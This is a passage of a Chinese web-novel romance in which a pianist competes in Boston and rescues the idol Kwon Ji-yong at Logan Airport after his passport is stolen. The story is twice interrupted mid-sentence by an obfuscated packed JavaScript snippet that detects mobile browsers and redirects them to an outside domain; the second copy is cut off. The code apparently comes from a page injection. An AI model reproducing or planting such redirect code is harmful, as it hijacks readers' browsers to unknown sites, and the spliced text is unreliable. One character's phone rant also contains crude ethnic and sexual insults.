她也是老头子最棒的小熊,她也曾经被牵着手带进后台候场,也有过被疼爱地许下殷切祝福和美好期许。 所以尽管她现在只有一个人,也一点都不感到遗憾。 李艺率固执地认为每个人的情感有限,她已经有过一个亲密的老师了。 心中那块温暖的自留地早早为一个已经离世的古板老头久久驻留,再也挪不出同样分量的空间,去承接另一段同样亲厚的师生传承,更无法接受自己内心那份因时间与回忆而愈发厚重的爱,会因为新的关系的建立而被无形地稀释削减。 这也正是她没有选择继续选择一所艺术表演类专业院校继续深造的原因。 ……况且,钢琴演奏可不是什么大型组合表演,这是属于她一个人的战场,后台再众星捧月,舞台上的聚光灯也只聚焦于演奏者一个人。 耳机里节拍器的滴答声仿佛编织成一张网,将一切的喧嚣隔离得彻底,李艺率闭上眼睛,脑海中浮现出那段熟悉的琴键触感,每一个音符都清晰可辨。 场下观众席坐满,轮到她上场了。 等她站起身摘下耳机走向舞台通道时,刚刚那位小星星叫住了她。 “Hey,我在四分之一决赛时听过你的演奏,你弹得还是很不错的!”这种夸奖听起来像是真心话,但语气里却带着掩饰不住的优越感。 李艺率闻言挑挑眉,就算是客套都会夸一句很棒,哪有夸人只夸一半的道理。 想到这里,她扯开嘴角露出了一个客套的微笑:“我觉得我弹得不止是不错,应该是很棒才对,否则你也不会专门挑在我演奏前特地把我拦下吧?” 这不就恰好证明了她表现得超棒嘛! 小星星噎了一下,随即又道:“但是今天晋级的人会是我。” 说着她指了指身后一众亲友团的背影:“我的老师是柯蒂斯的教授,和这一届的评审团们都有很不错的交情,我爸爸是本次大赛赞助商集团的高管……” 说着,她露出一个意味深长的笑容。 李艺率:“…………” 说实话,哪怕是在以优雅和传统著称的古典乐学界里,也免不了会出现几个这样的人。 对方的目的再明显不过——认为她是半决赛十二进六名额中最突出的那名选手,趁着她上场前趁机扰乱她的心神,如果她因此而怯场或失误,便是再好不过的事情。 但惹上李艺率可算是这位小星星惹错人了。 实际上,她刚刚的沉默也不过是在震惊: 她的老师是半个世纪以来最杰出的钢琴演奏家,她的爸爸是世界五百强排名前五十的集团掌门人,怎么还会有人把自己关系户的身份舞到她脸上来啊?? 未免也太小瞧她的坏脾气了吧! 想到这里,李艺率的嘴角扬起一个凌冽的弧度,似笑非笑地看向她,将在韩国学到的刻薄话术尽数翻了出来:“你说你在四分之一决赛听过我演奏,可我当时也听完了全程……啊,抱歉,我对你完全没印象呢!” 嘻嘻,其实压根没听完全程就跑路了。 但这丝毫不影响李艺率借此机会来展现刻薄,她伸手捂嘴发出夸张的感叹,随后又拍了拍她的肩膀道: “很感谢你把我当成可怕的假想敌。为了报答你的认可,接下来就站在这里好好听我的演奏,然后再战战兢兢地上台吧!” 说完,也不看对方是什么反应,径自走向聚光灯的方向。 * 聚光灯落下,将斯坦威与钢琴前的李艺率笼罩在一片柔和的暖白色光晕中,她指尖轻抚琴键,一缕清冷的光洒在她的侧脸。 波士顿交响音乐厅座无虚席,空气中弥漫着一种近乎凝神的寂静,只有偶尔传来细微的声响。 李艺率轻轻吸了一口气,指尖缓缓落下。 开篇她选了贝多芬的《升c小调第十四号奏鸣曲》,也被世人称作《月光奏鸣曲》。第一个乐章沉静阴郁,她的指尖落在象牙琴键上,宁静而略带忧郁的主题悄然降临。 这并不是炫技的篇章,反而更像是内心深处的独白。 评委席上,几位乐评微微前倾了身体,不时交换着眼神。 她的触键极尽控制,音色清冷而层次分明。这一章作品看似简单,实则对音色控制、旋律线条感及内在节奏的稳定有着极致的要求,任何一丝急躁或不安都会破坏其静谧的美感。 李艺率的手指清晰而精准地勾勒出每一个音符的轮廓,力度变化细腻而富有逻辑,情感的张力在层层叠叠的变奏中累积—— 看似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209534|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹得极为沉浸,但实际上身体早已形成肌肉记忆,将烂熟于心的音符流淌出来,脑子却正在神游天外。 她想起议政高中校庆舞台上的音符余韵,想起台下同学们的尖叫欢呼声,想起那个半低着头,嘴角噙着笑像个矜贵的小王子一样看向她的权至龙…… 想到了那个做下约定,暮色深沉的黄昏—— 骗子。 手指在琴键上轻轻拨下一个颤音,旋律短暂地划过一个尾韵,继而快速进入了第三乐章。 与前两个乐章的沉静与冥想截然不同,这是一场汹涌澎湃的暴风雨。 急促的琶音从她指尖迸发而出,如同骤雨击打水面,密集而充满紧迫感。 李艺率的手臂与手腕保持着惊人的松弛,却传递着强大的力量,每一个音符都清晰锐利,在急速奔流中毫不含糊。 大段高强度的琶音和跨度和弦让她的指尖在琴键上跳跃翻飞,如同暴风中的飞鸟,哪怕疼痛再多、再锐利,也无法停下搏击风浪的决心。 主题旋律在左手低音区坚定地奏出,如同命运沉重的脚步,与右手永不停歇的疾风骤雨般的琶音形成残酷而壮美的对抗。 说来也巧,这首《升c小调第十四奏鸣曲》的创作背景是贝多芬在耳聋状况日益恶化的情况下,面对一场无望的爱情时,将所有的痛苦、柔情、绝望和愤怒,毫无保留地倾注之作。 而月光这个富有诗意的名字来自于一位德国乐评人在听完第一乐章后的形容,这也在某种程度上也简化甚至误导了人们对这首作品的理解。 人们常常只记住第一乐章的静谧忧伤,而忽略了第三乐章那足以撕裂灵魂的激烈力量。 至于为什么会巧,大概这首曲子的推进结构与她这段时间的心境从某种程度上不谋而合,仿佛起伏的旋律是她此时最佳的内心写照,她借由琴键奏得愈发流畅。 骗子!讨厌鬼! 竟然敢因为演艺圈的诱惑就轻易把她抛到脑后, 他以后再也不是小权了! 而是眼睛小小眼光还差得要死得权至龙! 借由心中的发泄,李艺率完全沉浸在音乐漩涡之中。 台下,来自留声机杂志的乐评人评委微微颔首,身体不自觉地前倾,对身旁的同伴极轻地低语:“好厉害的控制力……这样快的速度下颗粒感还能这么饱满均匀……” 他的同伴轻轻点头,目光紧锁在舞台中央的少女身上,喃喃低语道,“颗粒感和音色……真的太棒了……” 他的目光紧紧追随着那双在琴键上飞跃的手,轻轻吸了一口气,这才猛然想起台上这位选手就是以“完美触键、绝对音色”著称、上世纪最杰出的演奏家海因兹的亲传继承人。 另一位来自学院派的评委则注意到了她对力度层次的极致处理—— 从第一乐章几乎耳语般的pp(极弱)到如今撼动心魄的ff(极强),转换突然却充满戏剧性,完美展现了贝多芬作品中的强烈冲突和反叛精神。 “简直像是在驾驭情绪一样。”他暗自思忱。 而舞台中央的李艺率,已经全身心投入到每一个音符的撞击中,将连日来心中的情绪全部倾泻而出,每一个音符都像要穿透琴键般深刻而决绝。 钢琴实际上被戏称为打击乐。 除了它那琴槌击弦的发声机制以外,对演奏者而言,绝大多数的演奏更像是一种力量的宣泄与掌控。 当音乐的情绪达到白热化的顶点,她的双手在高低音区之间以极大的幅度跨越敲击,奏出雷霆般的和弦,将整个音乐厅的紧张感推向极致—— 又最终在几个强有力的和声中戛然而止,瞬间的寂静仿佛比这世间的一切声音都更具冲击力。 李艺率听着骤然爆发的掌声,手指缓缓离开键盘。 她没有去看台下的人群欢呼,她只是抬起头,静静直视着头顶那盏聚光灯。 眼前刺痛的白雾让她感到一阵快意。 就像她现在这样急促的呼吸,肺里如灼烧一般被点燃、痉挛的手臂肌肉、被酷刑折磨的指尖,这一切的疼痛都让她感觉到放肆的快意。 啊,她终于想起来为什么会一直对权至龙耿耿于怀了。 上次他在电话里吼过她时,她竟然因为太过震惊反而忘记当场骂回去了! 就好像每个人在吵架时没发挥好,事后复盘总是会耿耿于怀那样。 等她弹完下台以后一定要打电话臭骂他一顿! 李艺率捏捏手指准备弹奏下一首曲子,心里漫不经心地这样想到。 * 权至龙在深夜里接到李艺率的越洋电话时,除了最初的震惊以外,后知后觉爬上心头的,是一种难以言喻的窃喜。 是的,那是一种让他自己都觉得卑劣的快乐—— 真好啊,她在乎我,她还在意我。 哪怕上次的冲突那么难看,她还是会主动来找我。 然而,下一秒李艺率平静的声音就击碎了他轻易间构筑的、摇摇欲坠的堡垒。 “权至龙。” 不再是亲昵腔调的小权,她的声音甚至有些沙哑,但不是那种带着哭腔的软弱,反倒像是剧烈运动过后长久的喘气,带着淬火重生般的坚韧和锐意。 “这段时间我一直在想着你,总感觉放不下,翻来覆去想了很久,终于让我想明白了,”如果不是因为她的语气轻缓平静,权至龙几乎在听到‘想你’这样缱绻的词时会恍惚生出这是情话的错觉。 “上次你吼了我,所以现在我要骂回去。你听好了——”,她顿了顿,继而又骤然拔高声音: “你就是披着受气包外皮但本质上还是遗传了南韩所有集超父权社会糟粕于一体只以自我为中心喜欢无缘无故发脾气甚至连小眼睛基因都完美继承到了让人很难不担心汉江水的VIAGRA浓度超标其中就会有你一份功劳的超雄男!” 说完甚至不等他反应过来,丢下一句绝交便啪地一下挂断电话。 权至龙:“………………” 真的是骂得很脏了。 而且说实话……到了后面就完全是人身攻击的程度了吧! 33.糖渍樱桃(下) 权至龙头一次庆幸起自己的艺人身份。 是的,在还是练习生的时候,他就有跟随公司的艺人出国表演,护照一直有被统一管理,省去了不少麻烦,也正因此这种临时出国的决定才不至于这样措手不及。 在那通电话挂断以后他怔了片刻,随之而来的是一种前所未有的空落感。 要去见她。 必须要马上见到她。 他心里难以控制地产生强烈预感—— 今天过后,太平洋会变成真正的天堑,时差会变成永恒的阻隔,而他也将永远定格在“糟糕的前朋友”的这个位置上。 这个念头所带来的恐慌瞬间刺穿了他。 不行。 绝对不行。 他不能接受这样的结局。 权至龙几乎是从床上跳起来,草草收拾换洗衣物囫囵塞进包里,又一通翻箱倒柜找出护照和钱包,赶在朦胧天光还未亮起时冲出了宿舍。 经济舱狭窄的座位让他浑身酸痛,但精神却异常清醒,或者说,是紧绷。 他一遍遍地预想着见面时的场景,排练着该说什么,该如何道歉,却又忽然觉得语言在此刻显得如此无力。 凌晨四点出发,在仁川机场买了飞往波士顿最早的航班,十五个时的飞行,飞跃了时间变更线,竟然还让他“回到”了时间的前一天。 所以那个强烈的预感一定是上天给他的提示。 权至龙通过入境查验后,站在洛根机场,看着早班机落地寥寥无几的机场大厅,心里这样想到。 波士顿时间九点,摆在他面前亟需解决的问题只有一个—— 他这趟冲动的飞行压根没有告诉李艺率。 权至龙:……………… 在韩国的时候那股不管不顾的冲动像火箭燃料一样推着他一路狂奔到机场,穿过安检,坐上飞机。十几个小时的飞行时间里,肾上腺素和一种近乎悲壮的决心支撑着他,让他无暇细想。 可现在,清晨机场空旷而安静,冰冷的现实感伴随着长途飞行的疲惫一同袭来,将他那股孤勇冲得七零八落。 行李转盘旁,稀稀拉拉的旅客取走行李离开,周围越来越空荡,只剩下权至龙和他那个小小的手提袋陷入了一个可笑的困境: 不远万里飞过来,却连在手机上打出“我来找你了”的勇气都在落地这一刻消散了大半。 权至龙看着自己鞋尖沾上的、从首尔带来的细微灰尘,像个傻瓜一样,站在异国他乡的机场大厅,进退维谷。 * 李艺率毫无悬念地晋级范赛决赛,因为决赛是整场钢琴协奏曲音乐会的缘故,所以需要她需要提前和波士顿交响乐团进行合练以保证演奏效果。 坐在波士顿交响音乐厅的排练后台等待乐队校音时,她收到了权至龙发来的消息: [艺率啊……] 她眉头微蹙地盯着屏幕上那句没头没尾的话,一时搞不清楚权至龙到底想要干嘛。 消息时间显示九点二十分,首尔那边已经快要深夜了吧。 大明星这个时候发信息给他做什么?不是都说好了要绝交的吗?! 空气中弥漫着松香,她的指尖在手机键盘上摩挲片刻,还没等她理清头绪,乐团的工作人员便示意她弦乐团已经调好音准,准备就绪。 排练的时间到了。 李艺率索性将手机往包里一塞,把扰人的思绪从脑海中挥走,走向了通往排练厅的那扇门。 决赛的钢协选曲有两首,除去赛事方的指定选曲以外,她的个人选曲是贝多芬的《降E大调第五钢琴协奏曲》,这首作品更为为人广泛熟知的名字是“皇帝”。 这部作品是贝多芬五首钢琴协奏曲中的巅峰之作,也是整个钢琴协奏曲文献中最为宏伟、壮丽的作品之一,以庞大的规模、交响化的构思和英雄般的气概,完美体现了贝多芬中期的创作风格。 但事实上,贝多芬本人反感任何贵族称号,“皇帝”这个标题也并非他自己所起,而是由他的朋友兼出版商因作品无与伦比的宏伟气质而命名。 可这名字恰如其分地捕捉了乐曲的精髓——这部协奏曲是贝多芬“英雄风格”的集大成者,它诞生于作曲家个人最深重的苦难与时代最剧烈的动荡之中,以其宏伟的结构、交响化的思维和深刻的情感,定义了什么是真正的“伟大”。 那些强有力的和弦、激烈的冲突和最终的辉煌胜利,都可以被解读为一种用艺术超越现实苦难的宣言。 这也正是李艺率选曲的意义所在——时隔五年后再次登上舞台,她要将个人与命运的抗争、对苦难的超越以及信念,以最壮丽的形式表达出来。 然而理想很丰满没错,但现实排练起来还是费了些功夫且效果仍不尽如人意。 李艺率与乐团之间的默契尚有欠缺,几次关键的进入都显得生涩。 如果将一首大型钢琴协奏曲目比作盛宴里的一道主菜,演奏家是一位顶尖大厨,那么指挥则更像是总厨兼宴会总监,负责调配所有的配菜酱汁和摆盘(乐队)。 因此,想要这道“主菜”真正惊艳全场,离不开总厨与大厨之间精妙的配合。 但实际上每个人对乐曲的个人理解不同,呈现出的演绎方式也往往大相径庭。 霍斯先生是一位以富有戏剧张力诠释而闻名的指挥家,对于贝多芬的作品有着独到的见解。 最初的合练在宏观框架上并无问题,但在细节处理上,分歧很快显现—— “Miss Lee,”他的声音洪亮,“这里,钢琴进入前的乐团铺垫,我们营造了如此巨大的张力和发展,你的音色的确精准无误,但……太‘干净’了,太过追求触键完美,反而忽略了皇帝需要的是王者的气度!是辉煌的宣告,是黄金般的光芒!你需要投入更多的重量,更多的热情,让声音更丰满!” 霍斯先生挥舞着手臂,强调着音乐的流动性和情感的澎湃:“不要让技巧的完美掩盖了情感的涌动!” 是的,哪怕是在国际钢琴比赛的乐团合练,同样是会有指挥家的指点,但这不是简单的对或错的指责,而是为了达到艺术统一性而进行的深度交流——毕竟演奏家和乐团的关系从来不是对抗。 “在第35小节,我们稍微稳一点,不要急着进入华彩段。” “这个地方是木管声部的优美旋律,请你让一让!充当他们的和声背景!” “在这个长休止符后,请你吸气时抬头给我一个明确的信号,我会带着乐团和你一起进来。” “…………” 一个上午的合练,让李艺率累得够呛,但心中也燃起了久违的兴奋。 回到公寓以后甚至来不及解决午餐,将包随手往沙发上一扔便坐到了琴凳上。 实际上,李艺率也知道自己的不足之处——在音色处理上有如洁癖一般的过度追求完美。同时,她在做触键练习时会因为疼痛而不过多地使用力量,往往会选择较为内敛的触键方式,但力量训练的缺失在独奏时或许并不明显,可与乐队合作诠释激烈的乐段时就显得有些局促了。 简而言之,就是太过于依赖技巧的稳定性,偷懒的后遗症来了。 尽管离决赛只剩下短短几天的时间,短期内并没办法再有所提升,但她还是像每个考前临时抱佛脚的学生一样,将自己泡在了琴房里。 也正是因此,她错过了权至龙的踌躇不定,也错过了他几个小时前的“求救”。 * 这次的出行十分仓促,权至龙只带了一个装有换洗衣物的手提包,和背着随身物品的双肩包。 海关检查以后他随手将护照往手提包里一塞,随便找了个偏僻的角落坐下,便捧着手机对着拨号键反复犹豫。 手指在屏幕上停留了许久,在信息窗口反复输入又删除,最终只留下像叹息一样的三个字。 路过一位嘻哈打扮的黑人注意到了靠在角落里的权至龙,伸手拍了拍他的肩膀,露出一口白牙,随口问了句:“嘿bro,怎么了需要帮忙吗?” 权至龙抬起头,看着那张热情的脸,心说这老外可还真是自来熟啊,一点都不像他那个装模做样的小老外。 他摇摇头,但对方看上去很是友善,主动与他攀谈起来。 因为是纯血hiphop战士的缘故,他对黑人文化也有所了解,趁着李艺率没回信息的空挡,他便也和对方有一搭没一搭地闲聊。 从西海岸的说唱歌手,再聊到某位OG最新的唱片,权至龙和对方聊得还算投机。大概是陌生人的缘故,他难得打开了在亲友面前难以打开的话匣子,告诉对方自己是因为惹得喜欢的人生气的缘故,特地从韩国飞来波士顿道歉的。 “Damn!韩国?!”黑人瞪大眼睛吹了一声口哨,“那小妞也太难搞了吧!” 权至龙:“…………” 对方用的是‘chick’这个词,虽说黑人习惯使用俚语,但听在权至龙耳朵里总觉得特别轻浮。 他抿抿唇,皱着眉道:“她不是什么小妞,这个词在我们听来很不礼貌。” “哦,OK,my bad,”大概是他板着脸的模样看上去实在有些严肃,黑人耸了耸肩,张开双手向权至龙表示歉意,“Didn''t mean no disrespect。” 他向权至龙道过歉,又拍了拍他的肩膀,说到:“那就祝你好运兄弟,我先走一步了。” 权至龙点点头,看着对方离开的背影逐渐走远,直到完全消失在他的视线中,才猛地意识到了什么—— 他的手提包被对方顺走了! 权至龙:“…………” 这到底算顺手牵羊还是当面抢劫? 原来波士顿除了大名鼎鼎的海鸥黑/帮以外还有这种高手啊?美测服还是太超前了! ……可抢他手提包有什么用呢,他的钱和贵重物品都在双肩包里啊……等等,他的护照!! “西……”权至龙硬生生把嘴边的脏话咽了回去。 脑子瞬间嗡地一声,当下也顾不得什么踌躇犹豫了,在这种突发状况面前,他唯一想到的就是向此时最亲近的人求助。 [艺率啊,我到美国了,现在在洛根机场……] [出了点小意外TT 我的包被人顺走了,护照在包里……] [……你有空过来一趟或者给我一个地址吗?很抱歉……给你添麻烦了] [如果你方便来的话,我现在在Arrival Gate B这边等你。] 信息发送成功的提示跳了出来,权至龙盯着屏幕,心脏在胸腔里砰砰直跳。 她会来吗? 一定会的,他的艺率这样善良,面对陌生人都能不计回报的帮助,更何况…… 时间一分一秒地过去。 手机屏幕暗了又亮,亮了又暗,他反复检查着信号格。 没有回应。 机场大厅逐渐变得嘈杂起来,一波又一波的旅客抵达,人声、广播声、行李车轮的滚动声交织成一片繁忙的背景音,唯独他所在的这个角落,时间仿佛凝固了。 他像一座孤岛,被喧嚣的人潮包围,却隔绝在所有热闹之外。 最初的一两个小时,他还能勉强保持镇定。 没关系,她或许在上课,在练琴,手机静音了。但她看到以后总能和他联系的。 可随着时间推移,焦虑如藤蔓一样悄悄缠绕上来。他咬着指甲,忍不住开始想象各种可能性:她是不是看到了,但根本不想理他?觉得他麻烦?或者……她还在生气,故意晾着他? 不,不对! 李艺率才不是这样的性格,他怎么可以这样去想她?! 第三个小时,腿因为长时间保持一个姿势而有些发麻,胃里也空落落地泛着酸。 失望一点点累积。 他知道自己不应该在这里干等下去,他应该去找人寻求帮助才对。可他也说不好自己究竟是在跟什么东西暗暗较劲,双脚像被钉在地上似的,怎么也抬不起来。 第四个小时,饥饿和长途飞行的疲惫感加倍袭来。 权至龙靠在冰冷的墙壁上,听着手机听筒里传来的忙音,只感觉自己像件被遗弃的行李。 那种熟悉的,被抛弃的感觉再次漫上心头,比首尔的那个秋天更具体,更冰冷。 第六个小时、第七个小时……希望像漏气的气球,一点点瘪下去。 三月的波士顿又迎来了大规模的寒潮,机场的暖气开得不太足,他感到一阵阵发冷。 他到底在干什么? 不远万里跑来,就是为了在异国他乡的机场里像个傻瓜一样干等吗? 所以是故意不理他的吗?不,不会的。 他的艺率不是那种坏孩子。就算再生他的气,在他需要帮助的时候肯定也不会吝啬的。 况且……就算是把他彻头彻尾忽视掉他也能够理解,毕竟是他先做了不好的事情。 ……所以,是真的不要他了吗? 快到第九个小时,各种负面情绪几乎要将他吞噬殆尽。 就在他快要被这种自厌淹没的时候,手机屏幕突然亮了起来!他心跳漏了一拍,猛地低下头看向手机屏幕—— 并不是信息提示,而是电量过低即将关机的警告。 刚刚提起的那口气瞬间溃散,希望像被针扎破的气泡,啪地一声,碎得无声无息,只留下更深的无力。 原来,在期待中等待是一种这样的滋味吗? 这一刻,权至龙仿佛奇异地感受到了一种与李艺率的连接。 他曾经在无数个时间里刻意地晾着李艺率,拉扯着她的耐心,放任她在期待与焦灼中挣扎,体会被悬在半空中的无力感。 啊,我真的做了很过分的事情啊。 他绝望地看着屏幕上那个红色的电池图标,看着黑下去的屏幕,只感觉自己像一块被海浪冲上岸边、无人问津的浮木,周围所有的声音都离他远去,世界只剩下一片令人心慌的寂静和彻底被遗弃的茫然。 他的满心期待,又一无所有地丢弃在孤岛里了。 又等了好一会,甚至自己也数不清过了多久,才颓然地挪动身体准备前往机场导台求助时,听见身后传来急促的脚步声,一个带着喘息和恼怒的声音喊住了他: “呀,权至龙!” 这还是第一次听到李艺率用这样的口吻说话。 虽然此时想这些实在是很不合时宜,但权至龙在听到她的声音以后还是不免思绪漫游了起来: 这还是第一次听到她这样气急败坏的口吻啊……尽管他常说李艺率没礼貌,但实际上她的家教很好,像脏话、或是这种没礼貌的语气在印象里就从未有过。 这也让权至龙转过身怔怔地看着那张匆忙跑动过后带着血色但嘴唇发白的漂亮脸蛋,一时之间开始怀疑,眼前的这个人是不是自己的幻觉。 * 李艺率在第八个小时的时候才看见了权至龙的求助。 从极度的专注中抽离出来时,窗外天色已经渐渐暗了下来,高强度练琴带来的精神亢奋逐渐消退,她揉了揉疼痛的肌肉和手指,又想起了上午被她刻意抛到脑后的信息。 那个坏家伙到底想说些什么啊? 这种没头没尾、欲言又止的风格,简直比他之前的冷暴力更让人火大。 看来是又欠一顿骂了! 这么想着,李艺率走到客厅沙发从包里掏出手机,无数个未接电话和信息让她足足愣了好一会。 在美国? 洛根机场? 包被偷了? 护照没了? ……八个小时前?! 大脑甚至一时之间处理不了这过于荒唐的信息,只本能地回拨了那通来电。 没有任何语音提示,只有信号无法传达的仓促忙音。 李艺率:………… 来不及想更多,她拿起外套和钱包就往公寓楼下跑去。 她所居住的剑桥市距离洛根机场大约四到五英里,但偏偏赶上了傍晚时分,出租车在晚高峰的车流中艰难穿行。 李艺率盯着前头牢牢堵住的车流,攥着手心愈发焦躁,偏偏身边还有个家伙一直在说风凉话—— “真有人会硬生生在机场等八个多小时吗?” 具时望坐在副驾驶的位置,转过头凑近似笑非笑地看向她:“说不定现在都已经到酒店了呢。” “大使馆、海关、警察局甚至机场导台,任何地方都可以求助,他为什么偏偏要等你?” “这不是白跑一趟吗?” “你连自己的生活都已经一团糟了,怎么还想要去充当别人的救世主啊?” “…………” 像是终于忍耐到了极限,她蹙着眉声音里是抑制不住的怒火:“闭嘴!” 突然冒出的韩语打破了车厢里的寂静,计程车司机有些堂皇的声音响起:“是……在和我说话吗?” “Sorry,”李艺率道了歉,深吸一口气尽力让自己的语气听起来平和一些,“可以请你开快些吗?我有很重要的事情。” 黄昏的背景下,霓虹灯模糊成一片片光晕在车窗外流淌,也每一秒的等待都显得无比漫长。各种念头杂乱地交织着,担忧竟盖过了最初的恼怒,像潮水一样漫上来,让她坐立难安。 司机透过后视镜瞥了她一眼,嘟囔了一句“Okay,hold on tight”,随即稍微加重了油门。 在好心司机的帮助下,李艺率终于在三十分钟后抵达机场。 她几乎是小跑着冲了进去。 巨大的空间里充斥着各种语言的航班信息、行李车轮滚动的嗡鸣、不同肤色人群汇聚成的嘈杂声浪,瞬间将她包裹。 李艺率站在人流中,有一瞬间的茫然。 Arrival Gate B……具体在哪个方向?她焦急地环顾四周,试图辨认指示牌,目光快速扫过每一个或坐或站的身影。 “看吧,我就说,”具时望的声音像冰冷的丝线,缠绕在她耳边,带着恶意的轻笑“怎么会有傻子站在原地等这么久?” 闭嘴! 讨人厌的具时望! 她的心跳越来越快,手心因为紧张而渗出细汗。 权至龙发信息告诉她的区域相对更大,休息座椅分散在各处。 李艺率沿着边缘快步走着,几乎是小跑起来,穿过一群正兴奋团聚的家庭,绕过几个靠着行李打瞌睡的背包客,略过穿着西装打着电话的商务人士…… 没有。 没有那个熟悉的身影。 她的心一点点沉下去,又跑到问询处,用略带急促的声音询问是否有人报告丢失护照或者寻求帮助,描述了一下权至龙的外貌特征。工作人员查了一下,礼貌地表示没有相关记录。 希望又熄灭了一分。 她喘着气,站在原地,有些无措地看着川流不息的人群。 该怎么办? 就在她几乎要被焦虑和茫然彻底淹没,准备拨打机场安保电话进行广播寻人时,目光猛地定格在远处一个偏僻不起眼的角落。 那里光线昏暗,靠近巨大的落地窗,窗外是机场跑道的灯光和逐渐深沉的夜色。 一个背靠着墙壁,抱着孤零零的双肩包,以一种防御性的姿态蜷缩在冰冷地面上的身影刺痛她的眼睛。 看上去那样瘦小,那样落魄,几乎要融入阴影里。 心脏却像是被什么东西猛地攥紧了,李艺率呼吸一滞。 所有嘈杂的声音仿佛瞬间褪去,整个世界里只剩下那个角落里那道像被遗弃的流浪动物一样的剪影。 她定在原地,有几秒钟的静止。 一种极其复杂的情绪像爆炸般在她胸腔里轰然扩散,剧烈冲撞,让她一时之间甚至无法动弹。 终于找到了。 这个念头首先浮现,带着一种如释重负的虚脱感,绷紧的神经骤然松弛,差点让她有些腿软。 但紧接着,一股更猛烈、更灼热的怒火瞬间窜起,几乎要烧掉她的理智! 这个笨蛋!傻瓜!疯子! 他真的就在这里! 在这个冰冷的、人来人往的角落,像个被遗弃的流浪狗一样,等了整整八、九个小时?! 他是不是没有脑子?!不会找人帮忙吗?!不会想办法吗?!就非要这样可怜巴巴地等着?!是在演什么苦情剧的男主角吗?! 她要是不过来该怎么办?就这样一直傻等下去吗??! 恼怒、气愤……还有一种连她自己都说不清的焦躁,像沸腾的岩浆在她体内翻滚。 自从生病以来,她很少有这样的情绪起伏。 但此刻她从指尖到小腿肌肉,整个人都在发抖,熟悉的剧痛冲击着身体的细胞,血液在血管中麻木着沸腾,大脑发出警报,身体却抗拒平静下来,只想立刻冲上去揪住他的衣领狠狠骂他一顿! 可……他看起来这样脆弱,无助到了极点。 怎么能把自己搞成这副样子? 乱麻般的心绪堵在她的喉咙口。 直到看着那个身影终于动了,看着那个蜷缩在角落的人沉默地抬头站起来—— 才终于将翻腾的情绪似乎都凝聚成了一种近乎咬牙切齿的冲动。 “呀!权至龙!!” 她快步跑到了他的跟前,发出了连珠炮般的质问:“你是傻子吗?包被抢了不会打电话报警吗?护照丢了不会找工作人员求助吗?跟我没长嘴你跟别人也没长嘴吗??!” 她的发丝凌乱,脸上带着跑动后的红晕,嘴唇却失去了血色,声音也在发抖,“我要是不过来怎么办?波士顿这段时间有寒潮,夜里机场关了空调说不定会冻死人的你知不知道?!” 权至龙被她突如其来的出现和劈头盖脸的责问彻底弄懵了。 像是从一场冰冷漫长的噩梦中被强行拽醒,眼睛因为长时间维持一个姿势而干涩模糊,甚至有些无法对焦。 他怔怔地抬起头,逆着光,死死地盯着李艺率。 不是幻觉。 她真的来了。 难以言喻的冲击和一种近乎卑微的狂喜瞬间冲垮了权至龙所有的心理防线,九个多小时的疲惫、饥饿、委屈、害怕、自我怀疑……在这一刻找到了宣泄的出口。 他的嘴唇动了动,想说些什么,想道歉,想解释,但喉咙被死死堵住,发不出任何清晰的声音,只是一眨不眨地看着面前这张半年多没见的脸,像是要把她刻进灵魂深处那样用力。 对上那双含着水光的眼睛,权至龙干巴巴地露出一个复杂的笑容—— “我这不是等到你了吗?” 李艺率看着那个狼狈的,仓皇的,甚至比哭还要难看的,但眼里只有她的笑容,胸口像是被什么东西狠狠撞了一下。 她忽然想起了她最爱的小狗维肯。 * 维肯并不是她的小狗。 严格来说,那只嘴角已经发白的成年德牧甚至不能用小狗来称呼。 四岁那年李叡承在洪堡大学进修法律,李在叙收购了本地的濒临破产工厂,以投资继承人的身份,李艺率也顺利跟随哥哥来到都柏林。 他们居住的社区,以现在的话术来说,住的都是些‘高净值人群’,因此社区里的小动物都十分友善亲人。 李艺率从小就被养出了些娇气的独占欲,这大概是富家女的通病。 也正是因此社区里那些很快就能与周边孩子们打成一片的亲人小狗们她都不喜欢——如果我要养小狗的话,那它一定要只看着我一个人才行,年幼的李艺率这样想到。 维肯就是在这个时候出现在她的视线里的。 那是一只并不亲人的狗。 对于孩子们的主动靠近和抚摸,维肯并不抗拒,但被摸了脑袋以后也从不会咧开嘴吐出舌头露出一脸高兴的傻样,孩子们在院墙外喊着它的名字时它也不过是冷淡地撇上一眼,连耳朵都不会抖动一下。 可李艺率见过维肯和它的主人米勒先生在社区里玩耍飞盘的情景。 它飞奔、高高跳起,衔住飞盘的姿态像是被风托起一般,又兴奋地甩动尾巴跑向米勒先生,眼睛里是李艺率和社区孩子们从没见过的光彩,只被摸了一下头就晃动着耳朵,看上去实在是高兴极了。 找到了。 年幼的李艺率心想,这就是她想要的小狗。 可惜,向哥哥讨要维肯只换来了哥哥无奈的耸肩,多次撒娇以后,李艺率终于换来了一个与维肯独处的下午。 它的性格真是安静又包容。 那个下午她搂着它,将脸深深埋进维肯胸口的皮毛里,拿出了自己的小帽子、小衬衫、奇形怪状的儿童墨镜和珍珠项链打扮它,又央求哥哥给他们拍了许多照片,在院子里玩了一场酣畅淋漓的下午茶过家家。 她甚至专门为维肯准备了一个崭新的、蓝黄拼色的飞盘—— 小狗只能看见蓝黄色调,她为此还提前做了功课,对比米勒先生那个橙红色的、脏兮兮的旧飞盘,怎么看都应该是她比较用心才对吧! 然而她不管她努力把飞盘扔得多远,维肯始终坐在原地兴致缺缺。 为什么不喜欢呢?明明之前和米勒先生玩得很开心不是吗? 那天的黄昏,米勒先生推开他们家的院门。 在那一瞬间,维肯的尾巴开始晃动,耳朵机敏地竖起,两只前爪在原地兴奋地顿促,眼睛也炯炯有神闪着光,直到米勒先生朝着它拍拍手叫着它的名字——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 